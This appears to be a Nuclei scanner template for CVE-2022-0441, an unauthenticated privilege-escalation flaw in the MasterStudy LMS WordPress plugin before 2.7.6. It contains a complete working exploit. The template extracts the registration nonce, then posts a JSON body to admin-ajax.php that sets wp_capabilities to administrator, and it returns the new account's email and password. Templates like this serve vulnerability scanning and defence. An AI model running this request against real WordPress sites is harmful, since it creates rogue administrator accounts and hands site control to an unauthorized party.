id: CVE-2022-0441

info:
  name: MasterStudy LMS plugin < 2.7.6 - Unauthenticated Admin Account Creation
  author: dwisiswant0,theamanrawat
  severity: critical
  description: |
    The MasterStudy LMS WordPress plugin before 2.7.6 does to validate some parameters given when registering a new account, allowing unauthenticated users to register as an admin.
  reference:
    - https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
    - https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0441
    - https://plugins.trac.wordpress.org/changeset/2667195
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0441
    cwe-id: CWE-269
  metadata:
    verified: "true"
  tags: cve,cve2022,wordpress,wp-plugin,wpscan,wp,unauth

variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"stm_lms_register":"([0-9a-z]+)"'
        internal: true

      - type: kval
        kval:
          - user_email
          - password

    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Registration completed successfully'
          - '"status":"success"'
        condition: and

      - type: word
        part: header_2
        words:
          - application/json;

      - type: status
        status:
          - 200